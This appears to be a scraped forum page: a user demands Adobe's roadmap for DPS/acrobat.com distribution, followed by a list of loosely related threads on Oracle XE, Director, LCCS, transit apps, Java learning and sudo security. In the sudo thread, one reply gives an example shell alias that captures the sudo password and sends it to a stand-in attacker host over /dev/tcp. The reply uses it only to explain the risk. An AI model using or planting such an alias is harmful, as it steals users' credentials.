Adobe: WHAT IS YOUR PLAN FOR DPS/ACROBAT/DISTRIBUTION?

Based on Matthew's post in this thread:
http://forums.adobe.com/thread/898426?tstart=0
I'm frankly concerned about investing any more time and resources into DPS without SOME SORT OF OUTLINED PLAN from Adobe.  Hinting that you may 'limit' functionality of the acrobat.com distribution method (which could mean anything, really) - but providing no further details - is simply not responsible.
DPS is no longer beta.  It's a product with an accepted workflow that accommodates those who want to publish magazine content via the Pro/Enterprise plans, and those who wish to distribute via acrobat.com.  There's been endless posts on this subject, and I would hope that Adobe has some sort of roadmap to giving it's customers continued support and options.  Instead, we get a cryptic message about how the acrobat.com distribution method is blowing up your servers.
Adobe, I'm asking for some clarification here and a clear outline of what you intend with this product.  Letting us travel down a course of building great material using DPS, and then possibly pulling the rug out from under us, is truly a concern.
Remember, it's not just your issues that are at stake.  Some of us are promoting/pitching/praising this new software and process to our companies and clients, and getting solid support.  We need to know that you've got some sort of solid foundation and plan going.  I cannot keep pitching/using this stuff, only to later tell the people that are paying the bills that 'oops, Adobe changed their minds.'.
Tnx

1. Define 'limited' for the Free acrobat.com account.
2. With either the Basic or Plus acrobat.com subscriptions, define 'limited'.
3. What is the max number of folios that can be hosted with Basic or Plus subscriptions?
4. If I create a folio and do NOT use the Share method, but simply give out a username and password to download the folio, define 'limited'.
All this remains very unclear.
Tnx

Similar Messages

  • What is the plan for 64-bit Windows?

    The 11G Express Edition Beta installed without warnings or errors on a Windows 7 64-bit virtual machine. However after install, the following error appears multiple times in the alert log:
    OER 7451 in Load Indicator : Error Code = OSD-04500: illegal option specified
    O/S-Error: (OS 1) Incorrect function. !
    This error is repeats every 10 seconds in the alert log.
    I understand that this is most likely because of the 64-bit OS. However, it is almost impossible to buy a Windows system today that is not 64-bit. If the plan is to only provide 11G Express Edition Beta in a 32-bit version for Windows, I think it should at least install and run properly in 32-bit mode on current 64-bit Windows operating systems. Or is a 64-bit version for Windows in the works?
    Thanks! It is great to see some progress on 11G Express!
    Edited by: user468360 on Apr 13, 2011 12:08 PM
    I probably obscured my question with the alert log error code. I changed the subject to my real question: What is the plan for 64-bit Windows?
    Since almost all windows systems are rapidly moving to 64-bit, will 11G Express be made available in a package (either 32-bit or 64-bit) which installs and runs correctly on a 64-bit windows system? Should we report 64-bit related bugs seen with the 32-bit install package so they can be fixed or is a 64-bit package coming? Thanks!

    I don't dispute that you can do the install of 11G Express on a 64-bit Windows OS. It even appears to complete successfully. The database opens and you can connect to it.
    However I seriously question if the underlying database processes are running correctly. My alert log is filled with hundreds of the errors that I listed in my original post.
    If you have posted that you have a successful install on 64-bit Windows, could you please check your alert log and let us know if you are seeing errors, or if everything is running correctly. The alert log is the main error log for the database. You can find it in C:\OracleXE\app\oracle\diag\rdbms\xe\xe\trace\alert_xe.log. Open this file in notepad and check for errors.
    Based on the errors that I am seeing, I ask again: What is the plan for 64-bit Windows? Does anyone from Oracle moderate this forum? Is 11G XE supposed to run correctly on 64-bit Windows, or what is the plan for supporting the almost universal move to 64-bit windows operating systems?
    Thanks!
    Edited by: user468360 on Apr 18, 2011 4:55 PM

  • Whats the Approx. plan for Oracle 11g2 64-bit release plan?

    Hi,
    I am looking for Oracle 10g2 for Win 7 64-bit but do not have any choice except to wait for 11g2 64-bit release.
    I looked at the other similar thread but didn't find any date.
    Re: What is the plan for 64-bit Windows?
    Can anybody tell me the approx. date of release for 11g2 with Win 7 64-bit support?
    Thanks,
    Jignesh

    > Question is which does SAP ECC 6.0 support ( or recommend ) Oracle 64 bit Dedicated or Shared Server db migration ?
    Never heard that anyone uses shared Server Setup with SAP.
    With SAP, it is NOT the user having a DB connection.
    It is the workprocess, and it is keeping it even if all users are idle.
    You allways have dedicated Oracle processes for SAP Workprocesses.
    The rather old note 70197 states, that Oracle MTS (multi threaded server)
    allowed, but you are on your own to configure it and there are some pitfalls.
    Volker

  • Director 12 - Does Adobe have a strategic plan for this product ???

    Adobe staff, and Director experts reading this, please answer these questions, for the benefit of all developers who purchased Director 11.x  licenses, and for those who are thinking of purchasing Director 12 licenses.
    Why is the Director 11.x and Director 12 documentation, as published by Adobe, so incredibly bad?
    Why are the Adobe Director resources on the web and in book form, mostly in reference to Macromedia Director MX and Director 8.5?
    After Director 8.5 people stopped writing about Director, even though Adobe continues to release new versions.  Case in point, Director 12 was just released in February 2013.
    For example, Amazon.com lists a handful of books under "adobe director", all of them published in 2003 or before, all referring to Director MX or D8.5, and most of them out of print.  Those versions of Director are ancient history in the software world.
    Are Silverlight3D and Unity3D taking over the "3D in a browser" niche?
    HTML5 WebGL is not ready for prime time, and may not be fully supported in all the major browsers for many years (especially not in Internet Explorer).
    So which is the dominant de facto "3D in a browser" solution right now, and for the next few years?
    Why doesn't the Adobe Director development staff or the Adobe marketing staff talk in public about Director, like for example on this forum?
    Adobe is obviously spending capital dollars to write and release new versions, but we don't see Adobe employees on this forum (which is published by Adobe), evangelizing and promoting Director. 
    It's as if the Adobe marketing people don't talk to the Adobe Director development staff.
    This may be because Adobe has no strategic plan for Director.
    If that's wrong, then what is Adobe's strategic plan for Director 12?
    What is Adobe's strategic plan for future versions of Director?
    Without a strategic plan for future versions, Director is already dead in its tracks.
    So is Adobe Director a dead platform?
    Should all of us "3D in a browser" developers put our Director 11.x CD's for sale on ebay, and move on to another platform before it's too late for us?

    I agree with you. I have been complaining on this forums and asking Adobe to provide us with good documentation about Director 12 since its release a few months ago. I haven't seen any replies from Adobe or updates to the web site.
    The iOS support is really poor. No support for video? Adobe is really dropping the ball here. I am very disappointed as many other customers about Adobe's unprofessional behavior releasing a product that is incomplete. I think they want to kill this product and this is the best way they found how to do it. I don't find any other reasonable explanation.

  • Hi Apple! My iphone 4g has restored and I can't retrieve the account. I have tried the password renewal that will be send on my mail but unfortunately my mail has been deactivated also.what is your solution for this kind of cases? This is so unfair.

    Hi Apple! My iphone 4g has restored and I can't retrieve the account. I have tried the password renewal that will be send on my mail but unfortunately my mail has been deactivated also.what is your solution for this kind of cases? This is so unfair.

    http://support.apple.com/kb/HT5312
    If you established a rescue email address, there will be a link on the "Passwords & Security" page of id.apple.com.  Clicking the link will send the reset to your rescue email address (NOTE:  This is not the same address as your Apple ID email)
    If there is no link on the page, then you didn't establish a rescue email address.  Contact AppleCare at 800.694.7466, and ask for account security.  You will need to answer some questions to verify your identity, AND you will need access to a computer to generate a temporary support pin.
    HTH

  • What is the plan for a new upgrade for P780 8GB

    Currently I am having P780_ROW_8G_S226_140919   build on my P780 8GB phone.
    Wanted to know what is the plan for release of new upgrade and the features/fixes going in it.
    When can we expect the new upgrade to be available?

    Sorry my friend but the Lenovo support team has abondonded us with the buggy KitKat ROM in favour for their newly launched phones.
    in short they want us to buy their new phones without asking any support on them.

  • Hello, I would like to know what is your policy for higher educational institutes or with whom should I be in touch with? Thanks

    I would like to know what is your policy for higher educational institutes or with whom should I be in touch with?
    Thanks a lot for your help,

    Apple HED has no published email addresses, and since Apple does not sell their products directly in Israel, you will probably need to work through local distributors or dealers in any case. I would suggest contacting Apple's authorized distributor, iConGroup:
    http://www.icongroup.co.il
    Regards.

  • What is your solution for getting public transportation in map? Actually my iphone is useless for me because it hasn't a public transportation map.

    what is your solution for getting public transportation in map? Actually my iphone is useless for me because it hasn't a public transportation map.

    This has been a huge problem for me too. I was actually late to work yesterday and wanted to throw my phone out the window of the bus that I finally was able to find. I'm new to Portland, so this suddenly missing feature is particularly problematic. It really is so hard to avoid getting angry, I just can't believe they would eliminate a feature that people rely on so heavily. But anger doesn't do any good so I'm trying my hardest to stay calm and figure out an acceptable solution while Apple works to restore this feature - at least I pray to God that that's what they aim to do. Here are the apps that I've been trying, I'll try to explain how they work and maybe they will work for you. This is going to be a long post, but I'm hoping some people will find it helpful.
    I'll start with the most obvious of all - adding Google Maps to your homescreen. Every time you launch the app you will get a diaologue prompting you to allow Google Mpas to use your location, and then you will be in an environment that looks similiar to what we are used to. It does not integrate with your contact list, so one workaround I've been using is going to my contacts and holding my finger on an address to copy it to the clipboard. Be aware that leaving this web app will lose whatever you're looking at and go back to the start, so best to do this before you launch it. You'll notice some strange behavior - for instance the drop down menu of suggested locations will apear and then quickly disaprear, so just ignore this. Often it will often unexpectadly scroll to the top for some reason when you're trying to do something towards the bottom. Haven't figured out a fix except for trying to not get flustered and doing things slowly and deliberately. It's not as quick as we're used to anyway so this is not hard to do. If you'd like to see any of the suggested routes on a map you can do this by clicking the small 'Map View' link. Just be aware that you can only do this once or you will have to type in your starting an ending points again, as there is no way to go back to the list you were just looking at once you are in map view. One thing that I have found helpful about the Google maps method is when looking at a route, whether in list or map view, you can see the stop ID right there, which is helpful if your city has a way to check real-time arrivals. For instance here in Portland you can text this stop ID to a certain number and immediately receive real-time arrivals.
    The app I've been using most is called 'Transit'. It's pretty beautiful aesthetically, and the UI is simpler than anything else I've come across, which is convenient for a task that you want to accomplish as quickly as possible so you can put away your phone and be on your way. When you first launch it you're presented with three bus routes that stop near your current location. It tells you which direction the route is headed and in how many minutes the next bus is scheduled to arrive. This is helpful if you are familiar with that particular busline, otherwise there's no indication of where the line will take you. Upon clicking a line, you're presented with three buttons (again, loving the simplicity). One reverses the direction of that same busline. One expands the list of times so you can quicly see all the arrival times for that bus route at that particular stop for the entire day. The other takes you to map view and quickly displays the location of this stop. And here's the best feature of all (!!), it shows you the busline as a blue line and every single stop is marked with a circle. You can click on a circle and it displays the expected arrival time at that stop. This is all very helpful in some circumstances, but of course it does not let you type in a destination and have it build a route for you, and if you'll be transferring to another line this will not help you at all. To accomplish this you press the arrow in the lower left where you can type in a starting point, ending point, and an arrival/departure time. And this DOES reference your contact list. It will then allow you to quickly switch between three routes that it selects. It also searches Maps (actually it says 'Powered by Foursquare' for landmarks/establishments. For instance if I type in 'sushi', I'm presented with a handful of sushi joints in my area. There is a bug in this app where sometimes the 'Route' button is missing and you can only resolve this by leaving the app and quitting the process in the multitasking trail. When it builds your route, you can click on any point of transfer and it will tell you what time that bus/train is leaving. There is no list view, but personally I never found list view very helpful anyway. I know some people will disagree though.
    Now I'll talk about HopStop. This is a kind of clunky interface unfortunately, and also has ads which I can't stand. It is able to reference your contact list. My least favorite thing about this app is the list it gives you is so excessively long-winded it's hilarious. Every single stop along the route is listed in this list view, so you'll be scrolling through literally dozens of pages of useless information like 'Pass such-and-such - 1 min. Pass such-and-such - 1 min. Pass such and such - 2 min.' Oh well. The good news is on this insanely long list, it indicates when you are supposed to do something other than sit patiently in your seat by having an icon to the left of that instruction - either a person walking or a bus number. When you switch to list view unfortunately it no longer displays departure times, so you'll have to be switching betwen maps and list view. One great feature of this app is it lets you save routes to your favorite list. It also lets you find bus stops and quickly see what bus lines hit those stops. I can't stand the flashing advertisements, so I avoid using this at all costs.
    On to 'City Maps'. Again, the first thing you will see is a short list of bus lines that hit the stop nearest to you. Tap on one and it shows you the next three departures in either direction, as well as the distance between your current location and the stop in question. This app also searches for restaurants and such, but takes this feature on step further. Here when I type in 'sushi' and select a restaurant, I'm brought to a page that links to the Yelp, Foursquare, and Facebook pages associated with it - even has a link that takes you directly to the menu if Foursquare has it. Awesome feature, right?? Tap on 'Map' and it immediately displays the location and an option to build a few routes. It always displays the walking route below the bus lines to give you a sense of how long it would take (even if it's a two hour walk). Clicking on a bus route on this list takes you to list view. Unfortunately this also displays a deluge of pointess turns that only the bus driver need worry about, but it's not as bad as HopStop. There's an optional feature where it can display Google Street View images right in this list view, if you think that could be helpful. With one tap it quickly switches to a very aesthetically pleasig map view. There's an update button that lets you immediately refresh directions, edit starting/ending points, or give it new directions altogether.
    I'm sure in just a moment someone will come along and say something insulting about how we're blowing things out of proportion. I guess that's just the nature of trolls - a lot of people find being angry on forums while hiding behind their screen names cathartic for obvious reasons. Let's all of us just do our best to ignore these people and keep this discussion diplomatic and oriented towards helpful solutions. I know none of us want to give up our beloved iPhones, I'm only considering it as a last resort.

  • What's your agenda for SAPPHIRE NOW?

    What are you looking forward to @SAPPHIRENOW?   Here's my plan
    For me it's a mixture of meeting old friends, new contacts, and finding out what's happening at the leading edge.
    I never stick to a plan but go where the music takes me.    I'll be working our booth so please come and say hello!

    Well, it seems like most of you simply read the
    various texts and try the vendors' examples. I'm
    surprised that no one mentioned ever having bought a
    prototype application from the onset. "bought"? What's that mean? You don't buy prototypes. You download evaluation versions, maybe.
    I try to find sample code and tweak it to see the effects. Otherwise, I start writing small sample code an build on that.
    I consider myself a reasonably competent core Java
    programmer, but I had serious difficulty configuring
    and merging its related technologies. There were so
    many disjointed pieces of instructional information
    that the additional research time really hurt our
    budget severely. Not an uncommon thing, I'm sure. There's a lot of stuff. But don't bother learning all of it. Not in detail, at least. It's a good idea to familiarize yourself with the names of packages/libraries and what they do. But only really learn what you need to learn for what you need to do. The next project you will probably need other things, so you learn them then.
    bsampieri,
    I've setup Tomcat and tried the examples--in fact, I
    normally follow tutorials for all products I hope to
    use. Problem is, the examples and tutorials never
    address my specific needs. So, I usually inch toward
    my goal by spending weeks or months in forums to
    continue where the tutorials leave off. Anything complex is going to not be there.... the trick is to identify pieces that you can pull out to build more complex apps. And the fact that JSP/servlets have the issue of being compounded by all the HTML/CSS/JS and HTTP protocol ... I don't want to say limitiations, exactly... Well, it just makes things more complex and harder to know what you need.
    Perhaps you guys are much faster and smarter than
    I...or you have a much bigger budget :)Probably not... on either account.

  • When using imessage, does it count against your minutes in your plan for texting or is it totally free?

    when using imessage, dos it count against your minutes in your plan or is it totally free?

    iMessage does not use call minutes or SMS message quota in your plan.  It does use data when when the phone is connected to cellular data.  When you use WiFi, it's completely free.

  • LCCS shuts down permanently December 31st. What's your plan?

    I assume everyone received the email (below) from Jeff Stanier this morning regarding LCCS being shut down for good at the end of the year. My question is what everyone is doing in the face of this news?
    We've built a large part of our company on LCCS and are scrambling for a solution that we can implement to replace LCCS before the end of the year. There was no transition plan or any details at all given in the email.
    Any other LCCS users discussing transition plans? Is there any opportunity for us to collaborate so that those of us dependent on LCCS aren't totally left in the cold?
    Much appreciated,
    Ion
      Dear LCCS Customer,
    I am writing to inform you of Adobe‚s plan with respect to LiveCycle Collaboration Services (LCCS).  Due to recent changes in Adobe‚s strategic direction the decision has been made to end of life the LCCS product. Adobe will continue to provide LCCS production service for an additional 9 months until December 31, 2012.  At that time the service will be shut down.  Beginning March 23, 2012 the following changes will be made to the service:
    In order to support your continued patronage while we ramp down the service, Pay Per Usage (PPU) accounts will no longer be charged and a free account quota of $1000/month will be granted. As a result of this change, monthly billing statements will no longer be issued.
    Free subscribers will no longer be able to upgrade to a PPU account.
    No new accounts will be created.
      We apologize for any inconvenience the termination of the service causes you. Thank you for being an Adobe LiveCycle Collaboration Services customer.
    Jeff Stanier
    Group Product Manager
    Adobe LiveCycle

    Jeff,
    Again, I realize you're just the messenger, so I bear no animosity towards you, but this decision by Adobe and the way it's being handled (again) makes absolutely no sense to me.
    If the user provisioning and billing is the only major aspect which is holding up releasing this technology to Spoon (if indeed that is the case), then why do we have to assume that the "partner" taking over this tech has to make any money off it? Why could a company not use this to install on their own servers, much like FMS? Why assume that a hosting provider has to be involved? The tech could be released to Spoon with the understanding that certain aspects, previously tied into Adobe billing backend, will only work once the community rearchitects them to work with an open source version. LCCS as it's given over to the community would be "broken," as it were, but only for as long as it takes for the community to redesign those missing aspects, assuming they are merely administrative backend aspects and not a part of the core technology.
    And if some of the aspects of the tech are the same as what are in other current Adobe offereings, why does LCCS have to come in a complete package? Would it not be possible to "license" the NDA aspects of the tech to Spoon or another "angel partner" (for free, since you're letting it go anyways), and liberate the rest of LCCS to spoon?
    C'mon Adobe (and I don't mean you Jeff), you can't have it both ways: you all but admitted that after all this time you still have not figured out how to monetize your own technologies, so you're gradually giving them away. Well, then give them away already, and stop holding the rest of us  hostage. Please.

  • Can You Offer Clarity - Who, What, When Your Eligible for Promotional Refund

    In our town we have two retailers which are literally blocks mile from each other; Verizon Wireless 76 Dodge St., 01915 and Verizon Wireless at 136 Dodge St., 01915.  I'm sifting through the VWZ website to better understand the promotion and to better understand given the information shared at "Verizon Wireless 136 Dodge St....".
    I've been a customer of VWZ for years and have opted not to go to 76 Dodge St. given the years of poor customer service experience at that particular location and return to 136 Dodge St given their great customer service.  Now I read your posting as I comb through the readings to learn more about the promotion to help better understand who, what and under what circumstances you are eligible to receive the promotional upgrade. 
    I only went to the store today given the VWZ website did not allow me to change my plan to from nationwide to single place and pre-order the phone.  My frustration mounted when I went to the store I was at today stated VWZ "misinformed the public..." and the $200 upgrade really should really have read, "...receive up to a $200 refund..." -- that is, I would only receive the cost of the appraised value of the iPhone 4S which is only know after I submit the item to VWZ.  Here I read this post which you indicate it's only available at "Verizon Wireless" which leaves be baffled - does this include authorized retailers who print receipts stating "Verizon Wireless, 136 Dode St... or what?  The only reason why I remained with VMZ (it wasn't for the customer service), was the promotional offer and the new single plan being offered.  If this is not the case, I like to void this order (which I won't be surprised I'll be charged) and start shopping around at other carriers.  I admit this promotional offering is very clear with no clear indication on who, what and under what circumstance you are eligible and the cost you will encounter.

    nickleu wrote:
    i've never pay close attention to this problem,until one day i open a terminal and type
    sudo su
    ,and i jumped to a root session without any problem.
    I mean, isn't it stupid that someone who has my user password can easily get my root access? What is my long, complex root password for?
    Later on I even think of more cases where I can jump to a root session with just my user password.---sudo vim ; sudo bash,eg.
    Google around and search arch forum didn't give me much.
    BTW, I just went across this Linux Journal passage http://www.linuxjournal.com/content/sto … r-password. there is a comment claiming that sudo is not safe.
    Anonymous from LinuxJournal wrote: su is a perfectly safe command, sudo is not. When you have work to do, you don't (or shouldn't) have time to find that sudo isn't configured for what you need to do- or worse, that it's misconfigured and you have a glaring security hole on your server. This happens everyday.
    So how do you guys think?
    I think NOEXEC is the sudo option you're looking for. It prevents sudo processes from spawning child processes, which may or may not be a shell. Use it in conjunction with a specific, known-to-be-secure command line, and you can mitigate the problem you're talking about. Personally, I don't use su nor sudo anymore. Instead I log into my passwordless root account from another TTY, which getty permits by default. su and ssh deny access to passwordless accounts, so I don't really see it as a security problem.
    Furthermore, I think your concern is misplaced: if someone had access to your user password, there is far more he or she could do beyond using sudo (install a keylogger, alias sudo='read -p Password > /dev/tcp/attacker.com/1234', gdb(1), ptrace(2), etc). More realistic threats are usually those involving privilege escalation by other users or programs without the use of su/sudo.
    Edit: see also man sudo(1) and sudoers.conf(5).
    Last edited by EscapedNull (2014-11-05 21:32:41)

  • I'm not updating to FF5 because I'll lose my GoogleToolBar. What are your plans ?

    When I try to update to Firefox 5 (seriously recommended by Mozilla) I receive the message that my GoogleToolBar is not compatible and will be disabled. Such an action will let me lost in the browser. I don't have the option to export it to Chrome, because Chrome does not support Google own creation, the ToolBar.
    Do you have any plans in the near future to restore GoogleToolBar. Some years ago I lost the Yahoo! toolbar with Firefox.
    Or is there a way to export all the information to any other bar you are supporting now?
    Thanks.

    You can try this process to see if there is any debris that is stuck under the screen edge.
    Take a business card or folded piece of paper. Stick it in the gap between the edge of the screen and the case. Move around the perimeter of the screen and see if you can get out any debris.
    If that doesn't work, the digitizer on the device is probably defective and needs replaced.
    You can contact Palm for repair or find replacement parts at pdaparts.com or usedpdaparts.com.
    If you have not been synch'ing your HH to your PC on a regular basis for backup purposes, you may lose your data. You could try to replace the digitizer your self without losing the data.
    For reference purposes, click on the following link for the support page for your device on the kb.hpwebos.com webpage.
    http://kb.hpwebos.com/wps/portal/kb/na/tungsten/tx/unlocked/home/page_en.html
    There are links on the page to the user guide, troubleshooting, how to's, downloads, etc.

  • What is your strategy for form validation when using MVC pattern?

    This is more of a general discussion topic and will not necessarily have a correct answer. I'm using some of the Flex validator components in order to do form validation, but it seems I'm always coming back to the same issue, which is that in the world of Flex, validation needs to be put in the view components since in order to show error messages you need to set the source property of the validator to an instance of a view component. This again in my case seems to lead to me duplicating the code for setting up my Validators into several views. But, in terms of the MVC pattern, I always thought that data validation should happen in the model, since whether or not a piece of data is valid might be depending on business rules, which again should be stored in the model. Also, this way you'd only need to write the validation rules once for all fields that contain the same type of information in your application.
    So my question is, what strategies do you use when validating data and using an MVC framework? Do you create all the validators in the views and just duplicate the validator if the exact same rules are needed in some other view, or do you store the validators in the model and somehow reference them from the views, changing the source properties as needed? Or do you use some completely different strategy for validating forms and showing error messages to the user?

    Thanks for your answer, JoshBeall. Just to clarify, you would basically create a subclass of e.g. TextInput and add the validation rules to that? Then you'd use your subclass when you need a textinput with validation?
    Anyway, I ended up building sort of my own validation framework. Because the other issue I had with the standard validation was that it relies on inheritance instead of composition. Say I needed a TextInput to both check that it doesn't contain an empty string or just space characters, is between 4 and 100 characters long, and follows a certain pattern (e.g. allows only alphanumerical characters). With the Flex built in validators I would have to create a subclass or my own validator in order to meet all the requirements and if at some point I need another configuration (say just a length and pattern restriction) I would have to create another subclass which duplicates most of the rules, or I would have to build a lot of flags and conditional statements into that one subclass. With the framework I created I can just string together different rules using composition, and the filter classes themselves can be kept very simple since they only need to handle a single condition (check the string length for instance). E.g. below is the rule for my username:
    library["user_name"] = new EmptyStringFilter( new StringLengthFilter(4,255, new RegExpFilter(/^[a-z0-9\-@\._]+$/i) ) );
    <code>library</code> is a Dictionary that contains all my validation rules, and which resides in the model in a ValidationManager class. The framework calls a method <code>validate</code> on the stored filter references which goes through all the filters, the first filter to fail returns an error message and the validation fails:
    (library["user_name"] as IValidationFilter).validate("testuser");
    I only need to setup the rule once for each property I want to validate, regardless where in the app the validation needs to happen. The biggest plus of course that I can be sure the same rules are applied every time I need to validate e.g. a username.
    The second part of the framework basically relies on Chris Callendar's great ErrorTipManager class and a custom subclass of spark.components.Panel (in my case it seemed like the reasonable place to put the code needed, although perhaps extending Form would be even better). ErrorTipManager allows you to force open a error tooltip on a target component easily. The subclass I've created basically allows me to just extend the class whenever I need a form and pass in an array of inputs that I want to validate in the creationComplete handler:
    validatableInputs = [{source:productName, validateAs:"product_name"},
                         {source:unitWeight, validateAs:"unit_weight", dataField:"value"},
                   {source:unitsPerBox, validateAs:"units_per_box", dataField:"value"},
                        {source:producer, validateAs:"producer"}];
    The final step is to add a focusOut handler on the inputs that I want to validate if I want the validation to happen right away. The handler just calls a validateForm method, which in turn iterates through each of the inputs in the validatableInputs array, passing a reference of the input to a suitable validation rule in the model (a reference to the model has been injected into the view for this).
    Having written this down I could probably improve the View side of things a bit, remove the dependency on the Panel component and make the API easier (have the framework wire up more of the boilerplate like adding listeners etc). But for now the code does what it needs to.

  • What's your strategy for learning Java technologies?

    Or, in other words, how do YOU acquire knowledge that is necessary for implementing Java technologies?
    After having spent one-and-a-half years developing an enterprise app, I've gained lots of knowledge about Java and some surface knowledge about its related technologies (JBoss, Hibernate, Ant, XDoclet, NetBeans and probably some others I can't think of at the moment).
    I'm now realizing that -- although the standalone prototype version of my program is growing mature -- I've still got lots to learn for refactoring it to a web platform. For example, I 've done small test projects using Servlets, but haven't done any work with JSP (or HTML for that matter) yet.
    Now, I'm sure I can learn JSP etc., but the questions I ask myself are: how long will it take?
    It's a rhetorical question of course (I don't expect an answer from you, the reader) However, it's an important issue because the months or years I spend fumbling around learning these new technologies, are time I could otherwise spend on the business logic and functionality of my program.
    So, how do you guys acquire knowledge of technologies? Official training perhaps? Or do you simply experiment until it works? Or do you rely on your company's knowledge base (e.g. someone in your company knows how it works)? Or do you get prototypes built from someone who already knows how it works?
    I�m really curious about this and would appreciate your thoughts.
    Thanks in advance,
    P

    Well, it seems like most of you simply read the
    various texts and try the vendors' examples. I'm
    surprised that no one mentioned ever having bought a
    prototype application from the onset. "bought"? What's that mean? You don't buy prototypes. You download evaluation versions, maybe.
    I try to find sample code and tweak it to see the effects. Otherwise, I start writing small sample code an build on that.
    I consider myself a reasonably competent core Java
    programmer, but I had serious difficulty configuring
    and merging its related technologies. There were so
    many disjointed pieces of instructional information
    that the additional research time really hurt our
    budget severely. Not an uncommon thing, I'm sure. There's a lot of stuff. But don't bother learning all of it. Not in detail, at least. It's a good idea to familiarize yourself with the names of packages/libraries and what they do. But only really learn what you need to learn for what you need to do. The next project you will probably need other things, so you learn them then.
    bsampieri,
    I've setup Tomcat and tried the examples--in fact, I
    normally follow tutorials for all products I hope to
    use. Problem is, the examples and tutorials never
    address my specific needs. So, I usually inch toward
    my goal by spending weeks or months in forums to
    continue where the tutorials leave off. Anything complex is going to not be there.... the trick is to identify pieces that you can pull out to build more complex apps. And the fact that JSP/servlets have the issue of being compounded by all the HTML/CSS/JS and HTTP protocol ... I don't want to say limitiations, exactly... Well, it just makes things more complex and harder to know what you need.
    Perhaps you guys are much faster and smarter than
    I...or you have a much bigger budget :)Probably not... on either account.

Maybe you are looking for

  • Need to activate Adobe Photoshop CS3 again but it won't work

    Hello happy Photoshoppers, I've been using Photoshop for a while now and never felt the urge to upgrade to a newer version. So I'm still using CS3 (Extended Edition), which i bought back in 2006 or so. Since then it's been working perfectly. Last wee

  • Want to add some animated 3D visualizations to my Keynote Presentation

    I want to kick my Keynote presentation up a notch and add some animated 3D visualizations to further enhance my design explanation. It would involve creating some basic 3D models from scratch and then animating a sequence to explain how it is put tog

  • Passing SQL-Parameters to Oracle-Reports from java

    hello, i want to write an application in the following way: on a java-frontend an user can select values for different parameters. these values should be to transferred to the sql- query of the reports rdf file. what is the syntax of an parameter pas

  • Private Area not Created in cFolders

    I assigned a collaboration folder (competitive scenario) while creating a Bid Invitation. This creates a public area and I added a document. The bid invitation is then published. Now when bidder creates a bid, private area is not being created in cFo

  • Hi everybody, JSP+servlets+.exe execution+package problem

    hi, i've read on java's forums that it is possible to execute an external class from a JSP and this (external class) can execute an .exe(Runtime a = Runtime.getRuntime()) i don't know if it was developed with JSP or servlet because they didn't put th